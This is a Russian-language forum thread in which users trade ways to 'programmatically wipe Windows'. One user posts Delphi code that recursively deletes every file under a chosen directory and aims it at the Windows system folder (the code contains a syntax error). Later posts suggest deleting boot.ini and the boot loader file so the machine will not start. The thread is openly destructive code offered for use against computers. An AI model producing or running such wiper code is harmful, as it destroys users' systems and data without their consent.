|
gravitas
|
Дата: Воскресенье, 28.11.2010, 09:14 | Сообщение # 1
|
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
|
Как программно снести винду? Желательно писать все возможные примеры.
TheDeduction
Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
| |
|
|
|
cool1
|
Дата: Воскресенье, 28.11.2010, 12:18 | Сообщение # 2
|
Участник
Зарегистрирован: 14.07.2010
Группа: Пользователи
Сообщений: 238
Статус: Offline
|
Code
uses
FileCtrl;
procedure RemoveAll(path: string);
var
sr: TSearchRec;
begin
if FindFirst(path + '\*.*', faAnyFile, sr) = 0 then
begin
repeat
if sr.Attr and faDirectory = 0 then
begin
DeleteFile(path + '\' + sr.name);
end
else
begin
if pos('.', sr.name) <= 0 then
RemoveAll(path + '\' + sr.name);
end;
until
FindNext(sr) <> 0;
end;
FindClose(sr);
RemoveDirectory(PChar(path));
end;
procedure TForm1.Button1Click(Sender: TObject);
var
dir: string;
begin
if SelectDirectory('%WinDir%, '', dir) then
RemoveAll(dir);
МОЖ ЕТО?
За помощь ставьте +!
Сообщение отредактировал cool1 - Воскресенье, 28.11.2010, 12:26
|
| |
|
|
|
gravitas
|
Дата: Воскресенье, 28.11.2010, 13:30 | Сообщение # 3
|
|
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
|
++
TheDeduction
Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
| |
|
|
|
cool1
|
Дата: Воскресенье, 28.11.2010, 13:33 | Сообщение # 4
|
|
Участник
Зарегистрирован: 14.07.2010
Группа: Пользователи
Сообщений: 238
Статус: Offline
|
токо процедуру для %WinDir% написать не забудь
За помощь ставьте +!
|
| |
|
|
|
gravitas
|
Дата: Воскресенье, 28.11.2010, 19:07 | Сообщение # 5
|
|
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
|
Quote (cool1)
токо процедуру для %WinDir% написать не забудь
Мне такие вещи можно не говорить)
Да и наверн функцию, а не процедуру)
TheDeduction
Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
Сообщение отредактировал gravitas - Воскресенье, 28.11.2010, 19:08
|
| |
|
|
|
cool1
|
Дата: Четверг, 02.12.2010, 13:00 | Сообщение # 6
|
|
Участник
Зарегистрирован: 14.07.2010
Группа: Пользователи
Сообщений: 238
Статус: Offline
|
а и еще мож способ рабочий я хз но есть идея удалить boot.ini (винда же не запустится вроде ХД)
Code
DeleteFile('c:\boot.ini');
За помощь ставьте +!
|
| |
|
|
|
gravitas
|
Дата: Четверг, 02.12.2010, 13:02 | Сообщение # 7
|
|
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
|
Да, это тоже можно. Но 100% безотказный способ это удалить C:\ntdr .
TheDeduction
Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
| |
|
|
